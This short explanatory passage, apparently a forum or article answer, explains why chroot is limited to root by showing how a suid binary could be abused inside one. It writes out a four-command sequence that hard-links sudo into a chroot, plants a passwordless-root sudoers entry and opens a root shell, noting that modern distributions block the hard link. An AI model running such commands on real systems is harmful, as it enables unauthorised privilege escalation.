If you can get a suid root binary into the chroot, then you can control its configuration files to bypass security restrictions.

   $ ln /usr/bin/sudo ./my-chroot
   $ echo "$USER ALL=(ALL) NOPASSWD: ALL" > ./my-chroot/etc/sudoers.d/01-oops
   $ chroot ./my-chroot
   $ sudo bash

modern Linux distributions prevent creation of hard links to suid binaries, but the restrictions on chroot came years before that.